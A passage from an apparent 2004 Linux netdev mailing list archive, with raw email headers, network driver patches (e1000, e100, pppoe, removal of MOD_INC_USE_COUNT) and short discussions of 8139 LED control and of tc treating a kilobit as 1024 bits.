v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * driver not handling failures of register_netdev [Stephen Hemminger (shemminger@osdl.org)] ------------ diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-20 14:09:07.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-20 14:09:55.000000000 -0800 @@ -68,7 +68,7 @@ char e1000_driver_name[] = "e1000"; char e1000_driver_string[] = "Intel(R) PRO/1000 Network Driver"; -char e1000_driver_version[] = "5.2.30.1-k1"; +char e1000_driver_version[] = "5.2.30.1-k2"; char e1000_copyright[] = "Copyright (c) 1999-2004 Intel Corporation."; /* e1000_pci_tbl - PCI Device ID Table @@ -529,7 +529,8 @@ e1000_probe(struct pci_dev *pdev, INIT_WORK(&adapter->tx_timeout_task, (void (*)(void *))e1000_tx_timeout_task, netdev); - register_netdev(netdev); + if((err = register_netdev(netdev))) + goto err_register; /* we're going to reset, so assume we have no link for now */ @@ -574,6 +575,7 @@ e1000_probe(struct pci_dev *pdev, cards_found++; return 0; +err_register: err_sw_init: err_eeprom: iounmap(adapter->hw.hw_addr); From krishnakumar@naturesoft.net Sun Feb 22 01:56:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 01:56:49 -0800 (PST) Received: from naturesoft.net (mail.naturesoft.net [203.145.184.221]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1M9ucKO024039 for ; Sun, 22 Feb 2004 01:56:39 -0800 Received: from interogator.naturesoft.com ([192.168.0.80]) by naturesoft.net with esmtp (Exim 3.35 #1) id 1AuqDY-0007TL-00; Sun, 22 Feb 2004 15:18:08 +0530 From: "Krishnakumar. R" Reply-To: krishnakumar@naturesoft.net Organization: Naturesoft To: jgarzik@pobox.com Subject: Regarding 8139 physical identification Date: Sun, 22 Feb 2004 15:32:48 +0530 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Disposition: inline Cc: netdev@oss.sgi.com Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200402221532.48173.krishnakumar@naturesoft.net> X-archive-position: 3485 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krishnakumar@naturesoft.net Precedence: bulk X-list: netdev Dear Becker, I was trying to implement the physical identification for the 8139 series cards. For this I need to light the led of the card, when I need for the purpose of physically identifying it. After going through the manual, archives and writing some code, I have found that the lights of the led cannot be lighted by writing values to the "Config1" register's led bits. Neither does manipulating the values in the "CS" registers results in any led being lit. What is the way to light the led manually. I understand that according to the configurations set the led will light in case of the link, tx, rx etc. But I want to light the led explicitly. Is there a way to do it ? Regards, KK. -- HomePage: http://puggy.symonds.net/~krishnakumar From krishnakumar@naturesoft.net Sun Feb 22 02:06:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 02:06:34 -0800 (PST) Received: from naturesoft.net (mail.naturesoft.net [203.145.184.221]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MA6RKO024476 for ; Sun, 22 Feb 2004 02:06:28 -0800 Received: from interogator.naturesoft.com ([192.168.0.80]) by naturesoft.net with esmtp (Exim 3.35 #1) id 1AuqNA-0007h3-00 for netdev@oss.sgi.com; Sun, 22 Feb 2004 15:28:04 +0530 From: "Krishnakumar. R" Reply-To: krishnakumar@naturesoft.net Organization: Naturesoft To: netdev@oss.sgi.com Subject: Re: Regarding 8139 physical identification Date: Sun, 22 Feb 2004 15:42:50 +0530 User-Agent: KMail/1.5 References: <200402221532.48173.krishnakumar@naturesoft.net> In-Reply-To: <200402221532.48173.krishnakumar@naturesoft.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402221542.50052.krishnakumar@naturesoft.net> X-archive-position: 3486 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krishnakumar@naturesoft.net Precedence: bulk X-list: netdev Hi, > Dear Becker, Sorry for the typo... Please read it as "Hi List".... But contents are same as I wanted to ask.... > > I was trying to implement the physical identification > for the 8139 series cards. > For this I need to light the led of the card, > when I need for the purpose of physically identifying it. > > After going through the manual, archives > and writing some code, I have found that > the lights of the led cannot be lighted by > writing values to the "Config1" register's led bits. > Neither does manipulating the values in the > "CS" registers results in any led being lit. > > What is the way to light the led manually. > I understand that according to the configurations > set the led will light in case of the link, tx, rx etc. > But I want to light the led explicitly. > Is there a way to do it ? > > Regards, > KK. -- HomePage: http://puggy.symonds.net/~krishnakumar From scott.feldman@intel.com Sun Feb 22 06:32:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 06:32:24 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MEWFKO005005 for ; Sun, 22 Feb 2004 06:32:15 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1M6SLmc021410; Sun, 22 Feb 2004 06:28:21 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1M6W5RX028859; Sun, 22 Feb 2004 06:32:05 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004022122295926093 ; Sat, 21 Feb 2004 22:29:59 -0800 Date: Sat, 21 Feb 2004 23:05:39 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e100 netdev-2.6] Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3487 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Response to Jeff's review plus some minor fixes. * define dump stats complete constant * add mwb() to keep order straight with HW when appending new resources to Rx and Tx queues * increment stats for rx_dropped and rx_over_errors ------------ --- netdev-2.6/drivers/net/e100.c 2004-02-20 15:18:24.000000000 -0800 +++ netdev-2.6/drivers/net/e100.c.mod 2004-02-21 22:04:34.000000000 -0800 @@ -132,6 +132,10 @@ * * Thanks to JC (jchapman@katalix.com) for helping with * testing/troubleshooting the development driver. + * + * TODO: + * o several entry points race with dev->close + * o check for tx-no-resources/stop Q races with tx clean/wake Q */ #include @@ -154,12 +158,12 @@ #define DRV_NAME "e100" -#define DRV_VERSION "3.0.13_dev" +#define DRV_VERSION "3.0.15" #define DRV_DESCRIPTION "Intel(R) PRO/100 Network Driver" #define DRV_COPYRIGHT "Copyright(c) 1999-2004 Intel Corporation" #define PFX DRV_NAME ": " -#define E100_WATCHDOG_PERIOD 2 * HZ +#define E100_WATCHDOG_PERIOD (2 * HZ) #define E100_NAPI_WEIGHT 16 MODULE_DESCRIPTION(DRV_DESCRIPTION); @@ -293,6 +297,11 @@ enum scb_cmd_lo { cuc_dump_reset = 0x70, }; +enum cuc_dump { + cuc_dump_complete = 0x0000A005, + cuc_dump_reset_complete = 0x0000A007, +}; + enum port { software_reset = 0x0000, selftest = 0x0001, @@ -645,6 +654,7 @@ static void e100_eeprom_write(struct nic eecs | eedi : eecs; writeb(ctrl, &nic->csr->eeprom_ctrl_lo); e100_write_flush(nic); udelay(4); + writeb(ctrl | eesk, &nic->csr->eeprom_ctrl_lo); e100_write_flush(nic); udelay(4); } @@ -678,8 +688,10 @@ static u16 e100_eeprom_read(struct nic * ctrl = (cmd_addr_data & (1 << i)) ? eecs | eedi : eecs; writeb(ctrl, &nic->csr->eeprom_ctrl_lo); e100_write_flush(nic); udelay(4); + writeb(ctrl | eesk, &nic->csr->eeprom_ctrl_lo); e100_write_flush(nic); udelay(4); + /* Eeprom drives a dummy zero to EEDO after receiving * complete address. Use this to adjust addr_len. */ ctrl = readb(&nic->csr->eeprom_ctrl_lo); @@ -687,6 +699,7 @@ static u16 e100_eeprom_read(struct nic * *addr_len -= (i - 16); i = 17; } + data = (data << 1) | (ctrl & eedo ? 1 : 0); } @@ -807,6 +820,7 @@ static inline int e100_exec_cb(struct ni /* Order is important otherwise we'll be in a race with h/w: * set S-bit in current first, then clear S-bit in previous. */ cb->command |= cpu_to_le16(cb_s); + wmb(); cb->prev->command &= cpu_to_le16(~cb_s); while(nic->cb_to_send != nic->cb_to_use) { @@ -1113,7 +1127,7 @@ static void e100_update_stats(struct nic * complete, so where always waiting for results of the * previous command. */ - if(*complete == le32_to_cpu(0x0000A007)) { + if(*complete == le32_to_cpu(cuc_dump_reset_complete)) { *complete = 0; nic->tx_frames = le32_to_cpu(s->tx_good_frames); nic->tx_collisions = le32_to_cpu(s->tx_total_collisions); @@ -1126,7 +1140,6 @@ static void e100_update_stats(struct nic le32_to_cpu(s->tx_lost_crs); ns->rx_dropped += le32_to_cpu(s->rx_resource_errors); ns->rx_length_errors += le32_to_cpu(s->rx_short_frame_errors); - ns->rx_over_errors += le32_to_cpu(s->rx_resource_errors); ns->rx_crc_errors += le32_to_cpu(s->rx_crc_errors); ns->rx_frame_errors += le32_to_cpu(s->rx_alignment_errors); ns->rx_fifo_errors += le32_to_cpu(s->rx_overrun_errors); @@ -1262,7 +1275,7 @@ static inline int e100_tx_clean(struct n for(cb = nic->cb_to_clean; cb->status & cpu_to_le16(cb_complete); cb = nic->cb_to_clean = cb->next) { - if(likely(cb->skb)) { + if(likely(cb->skb != NULL)) { nic->net_stats.tx_packets++; nic->net_stats.tx_bytes += cb->skb->len; @@ -1371,6 +1384,7 @@ static inline int e100_rx_alloc_skb(stru struct rfd *prev_rfd = (struct rfd *)rx->prev->skb->data; put_unaligned(cpu_to_le32(rx->dma_addr), (u32 *)&prev_rfd->link); + wmb(); prev_rfd->command &= ~cpu_to_le16(cb_el); pci_dma_sync_single(nic->pdev, rx->prev->dma_addr, sizeof(struct rfd), PCI_DMA_TODEVICE); @@ -1417,9 +1431,14 @@ static inline int e100_rx_indicate(struc skb_put(skb, actual_size); skb->protocol = eth_type_trans(skb, nic->netdev); - if(unlikely(!(rfd_status & cb_ok)) || - actual_size > nic->netdev->mtu + VLAN_ETH_HLEN) { - /* Don't indicate if errors */ + if(unlikely(!(rfd_status & cb_ok))) { + /* Don't indicate if hardware indicates errors */ + nic->net_stats.rx_dropped++; + dev_kfree_skb_any(skb); + } else if(actual_size > nic->netdev->mtu + VLAN_ETH_HLEN) { + /* Don't indicate oversized frames */ + nic->net_stats.rx_over_errors++; + nic->net_stats.rx_dropped++; dev_kfree_skb_any(skb); } else { nic->net_stats.rx_packets++; From hch@lst.de Sun Feb 22 10:35:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 10:35:11 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MIZ6KO011334 for ; Sun, 22 Feb 2004 10:35:08 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1MIZ4Qc028062 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 22 Feb 2004 19:35:04 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1MIZ4YO028060 for netdev@oss.sgi.com; Sun, 22 Feb 2004 19:35:04 +0100 Date: Sun, 22 Feb 2004 19:35:04 +0100 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT in lasi_82596.c Message-ID: <20040222183504.GA28040@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3488 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev --- 1.22/drivers/net/lasi_82596.c Sat Jan 10 16:34:11 2004 +++ edited/drivers/net/lasi_82596.c Sun Feb 22 20:30:38 2004 @@ -1016,8 +1016,6 @@ { DEB(DEB_OPEN,printk("%s: i596_open() irq %d.\n", dev->name, dev->irq)); - MOD_INC_USE_COUNT; - if (request_irq(dev->irq, &i596_interrupt, 0, "i82596", dev)) { printk("%s: IRQ %d not free\n", dev->name, dev->irq); goto out; @@ -1038,8 +1036,6 @@ remove_rx_bufs(dev); free_irq(dev->irq, dev); out: - MOD_DEC_USE_COUNT; - return -EAGAIN; } From hch@lst.de Sun Feb 22 10:57:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 10:58:00 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MIvuKO011888 for ; Sun, 22 Feb 2004 10:57:57 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1MIvtQc028370 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 22 Feb 2004 19:57:55 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1MIvtaN028368 for netdev@oss.sgi.com; Sun, 22 Feb 2004 19:57:55 +0100 Date: Sun, 22 Feb 2004 19:57:55 +0100 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT in sun3lance Message-ID: <20040222185755.GA28350@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00,UPPERCASE_25_50 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3489 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev --- 1.17/drivers/net/sun3lance.c Sat Jan 10 16:37:56 2004 +++ edited/drivers/net/sun3lance.c Sun Feb 22 20:31:10 2004 @@ -430,7 +430,6 @@ netif_start_queue(dev); DPRINTK( 2, ( "%s: LANCE is open, csr0 %04x\n", dev->name, DREG )); - MOD_INC_USE_COUNT; return( 0 ); } @@ -880,8 +879,6 @@ /* We stop the LANCE here -- it occasionally polls memory if we don't. */ DREG = CSR0_STOP; - - MOD_DEC_USE_COUNT; return 0; } From hch@lst.de Sun Feb 22 10:58:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 10:58:49 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MIwiKO012115 for ; Sun, 22 Feb 2004 10:58:45 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1MIwhQc028387 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 22 Feb 2004 19:58:43 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1MIwhSC028385 for netdev@oss.sgi.com; Sun, 22 Feb 2004 19:58:43 +0100 Date: Sun, 22 Feb 2004 19:58:43 +0100 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT in sb1250-mac Message-ID: <20040222185843.GB28350@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3490 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev --- 1.8/drivers/net/sb1250-mac.c Sat Jan 10 16:30:29 2004 +++ edited/drivers/net/sb1250-mac.c Sun Feb 22 20:30:54 2004 @@ -2456,8 +2456,6 @@ { struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; - MOD_INC_USE_COUNT; - if (debug > 1) { printk(KERN_DEBUG "%s: sbmac_open() irq %d.\n", dev->name, dev->irq); } @@ -2466,10 +2464,8 @@ * map/route interrupt */ - if (request_irq(dev->irq, &sbmac_intr, SA_SHIRQ, dev->name, dev)) { - MOD_DEC_USE_COUNT; + if (request_irq(dev->irq, &sbmac_intr, SA_SHIRQ, dev->name, dev)) return -EBUSY; - } /* * Configure default speed @@ -2791,8 +2787,6 @@ sbdma_emptyring(&(sc->sbm_txdma)); sbdma_emptyring(&(sc->sbm_rxdma)); - MOD_DEC_USE_COUNT; - return 0; } From hch@lst.de Sun Feb 22 11:01:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 11:01:11 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MJ17KO012585 for ; Sun, 22 Feb 2004 11:01:08 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1MJ16Qc028437 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 22 Feb 2004 20:01:06 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1MJ16Qm028435 for netdev@oss.sgi.com; Sun, 22 Feb 2004 20:01:06 +0100 Date: Sun, 22 Feb 2004 20:01:06 +0100 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT in meth Message-ID: <20040222190106.GC28350@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00,UPPERCASE_25_50 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3491 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev --- 1.3/drivers/net/meth.c Sat Jan 10 16:43:38 2004 +++ edited/drivers/net/meth.c Sun Feb 22 20:31:23 2004 @@ -356,8 +356,6 @@ meth_private *priv=dev->priv; volatile meth_regs *regs=priv->regs; - MOD_INC_USE_COUNT; - /* Start DMA */ regs->dma_ctrl|= METH_DMA_TX_EN|/*METH_DMA_TX_INT_EN|*/ @@ -380,7 +378,6 @@ ~(METH_DMA_TX_EN|METH_DMA_TX_INT_EN| METH_DMA_RX_EN|METH_DMA_RX_INT_EN); free_irq(dev->irq, dev); - MOD_DEC_USE_COUNT; return 0; } From hch@lst.de Sun Feb 22 11:21:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 11:21:09 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MJL1KO013093 for ; Sun, 22 Feb 2004 11:21:01 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1MJL0Qc028711 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 22 Feb 2004 20:21:00 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i1MJL0WO028709 for netdev@oss.sgi.com; Sun, 22 Feb 2004 20:21:00 +0100 Date: Sun, 22 Feb 2004 20:21:00 +0100 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT in wanpipe Message-ID: <20040222192059.GA28659@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3492 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev wanpipe_open/close are used by sub-modules in their open/close handlers, thus locking sdlamain into memory by using the exports --- 1.21/drivers/net/wan/sdlamain.c Mon Sep 22 03:01:11 2003 +++ edited/drivers/net/wan/sdlamain.c Sun Oct 5 16:23:10 2003 @@ -1161,7 +1161,6 @@ void wanpipe_open (sdla_t* card) { ++card->open_cnt; - MOD_INC_USE_COUNT; } /*============================================================================ @@ -1173,7 +1172,6 @@ void wanpipe_close (sdla_t* card) { --card->open_cnt; - MOD_DEC_USE_COUNT; } /*============================================================================ From xose@wanadoo.es Sun Feb 22 11:21:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 11:22:02 -0800 (PST) Received: from smtp11.eresmas.com (smtp11.eresmas.com [62.81.235.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MJLtKO013305 for ; Sun, 22 Feb 2004 11:21:56 -0800 Received: from [192.168.108.51] (helo=mx01.eresmas.com) by smtp11.eresmas.com with esmtp (Exim 4.10) id 1AuzAl-0001Hp-00; Sun, 22 Feb 2004 20:21:51 +0100 Received: from [80.103.7.112] (helo=wanadoo.es) by mx01.eresmas.com with esmtp (Exim 4.30) id 1AuzAl-0006Gu-LV; Sun, 22 Feb 2004 20:21:52 +0100 Message-ID: <4039014D.8060202@wanadoo.es> Date: Sun, 22 Feb 2004 20:21:49 +0100 From: Xose Vazquez Perez User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.4.1) Gecko/20031114 X-Accept-Language: gl, es, en MIME-Version: 1.0 To: netdev@oss.sgi.com, hch@lst.de Subject: Re: Why is ifenslave.c in the kernel tree? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-archive-position: 3493 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xose@wanadoo.es Precedence: bulk X-list: netdev Christoph Hellwig wrote: > Just looking over the 2.6.3 diffs I see that ifenslave is actively > maintained in Documenation/ of the kernel tree. Isn't that a _really_ > odd place for a userland tool? We have a policy of not having any > userland tools not used for building in the kernel tree, and especially > none of the distributors will pick it up from there. The best place could be net-tools package. But it looks like net-tools is sloppy, last change was done around Apr-2001 !! -- x86-64 GenuineIntel From alex@pilosoft.com Sun Feb 22 12:16:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 12:16:22 -0800 (PST) Received: from paix.pilosoft.com (dsl-gw-90.pilosoft.com [69.31.90.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MKGIKO014339 for ; Sun, 22 Feb 2004 12:16:19 -0800 Received: from localhost (alex@localhost) by paix.pilosoft.com (8.11.6/8.11.6) with ESMTP id i1MJtEN13049 for ; Sun, 22 Feb 2004 14:55:14 -0500 Date: Sun, 22 Feb 2004 14:55:14 -0500 (EST) From: alex@pilosoft.com To: netdev@oss.sgi.com Subject: kilobit=1000bit Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3494 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: alex@pilosoft.com Precedence: bulk X-list: netdev While trying to investigate mysterios packet loss on a link limited by tc to its theoretical capacity, I realized that tc (and some other tools) treat kilobit as 1024 bits per second. This is manifestly incorrect, as it is pretty much standard for equipment specifications to be given as 1000 bit per second=kilobit. Examples: * Ethernet (10BaseT) is driven by 10Mhz (as in 10 million oscillations per second:) clock, resulting in 10 million bits per second capacity. * Ethernet (100BaseT) is driven by 125Mhz clock and uses 4B/5B encoding resulting in 100 million bits per second capacity. * 56k modem is (details are too long) but it results in 56000 bits/second. I can't think of any networking technology that rates the capacity in 1024 bits/second = kilobit. This may be a just a heads-up to those unaware, but, it would be nice to change tc to use correct multipliers (possibly with a switch to revert to old behavior). -alex From tmus@tmus.dk Sun Feb 22 13:10:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 13:10:57 -0800 (PST) Received: from pasmtp.tele.dk (pasmtp.tele.dk [193.162.159.95]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MLAgKO018104 for ; Sun, 22 Feb 2004 13:10:43 -0800 Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by pasmtp.tele.dk (Postfix) with ESMTP id B254E1EC3B7 for ; Sun, 22 Feb 2004 21:39:02 +0100 (CET) Received: from tmus.dk (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id C8500F8139 for ; Sun, 22 Feb 2004 21:39:05 +0100 (CET) Message-ID: <40391364.6090400@tmus.dk> Date: Sun, 22 Feb 2004 21:39:00 +0100 From: Thomas Munck Steenholdt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en, da MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Re: kilobit=1000bit Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3495 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev alex@pilosoft.com wrote: > While trying to investigate mysterios packet loss on a link limited by tc > to its theoretical capacity, I realized that tc (and some other tools) > treat kilobit as 1024 bits per second. This is manifestly incorrect, as it > is pretty much standard for equipment specifications to be given as 1000 > bit per second=kilobit. > > Examples: > > * Ethernet (10BaseT) is driven by 10Mhz (as in 10 million oscillations > per second:) clock, resulting in 10 million bits per second capacity. > > * Ethernet (100BaseT) is driven by 125Mhz clock and uses 4B/5B encoding > resulting in 100 million bits per second capacity. > > * 56k modem is (details are too long) but it results in 56000 bits/second. > > > I can't think of any networking technology that rates the capacity in 1024 > bits/second = kilobit. > > This may be a just a heads-up to those unaware, but, it would be nice to > change tc to use correct multipliers (possibly with a switch to revert to > old behavior). > > > -alex > There is an interesting description of the "right" way to do this on this page: http://www.romulus2.com/articles/guides/misc/bitsbytes.shtml Thomas From ak@muc.de Sun Feb 22 15:47:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 15:47:57 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1MNlqKO020237 for ; Sun, 22 Feb 2004 15:47:53 -0800 Received: (qmail 80643 invoked by uid 3709); 22 Feb 2004 23:47:50 -0000 Date: 23 Feb 2004 00:47:50 +0100 Date: Mon, 23 Feb 2004 00:47:50 +0100 From: Andi Kleen To: netdev@oss.sgi.com Cc: mostrows@styx.uwaterloo.ca Subject: [PATCH] Increase snd/rcv buffers in pppoe Message-ID: <20040222234750.GA78924@colin2.muc.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 3496 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev I noticed that a 64bit kernel only downloads half as fast over a PPPoE DSL connection than a 32bit kernel on the same hardware. The reason seems to be that PPPoE uses the default 64K snd/rcv buffers at socket creation. The bigger sk_buff header size on the 64bit kernel pushed the buffer into being too small and preventing good throughput. This patch fixes it here. It simply doubles the buffers. There should be only a few PPPoE sockets active so I don't think this is a problem. The TX increase is probably not needed because upload speeds on DSL are typically much slower than RX, but it also cannot hurt. -Andi diff -u linux-2.6.3-amd64/drivers/net/pppoe.c-o linux-2.6.3-amd64/drivers/net/pppoe.c --- linux-2.6.3-amd64/drivers/net/pppoe.c-o 2004-02-19 23:28:07.000000000 +0100 +++ linux-2.6.3-amd64/drivers/net/pppoe.c 2004-02-24 22:02:17.000000000 +0100 @@ -506,6 +506,10 @@ goto out; sock_init_data(sock, sk); + + sk->sk_rcvbuf *= 2; + sk->sk_sndbuf *= 2; + sk_set_owner(sk, THIS_MODULE); sock->state = SS_UNCONNECTED; sock->ops = &pppoe_ops; From davem@redhat.com Sun Feb 22 23:26:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 22 Feb 2004 23:26:10 -0800 (PST) Received: from 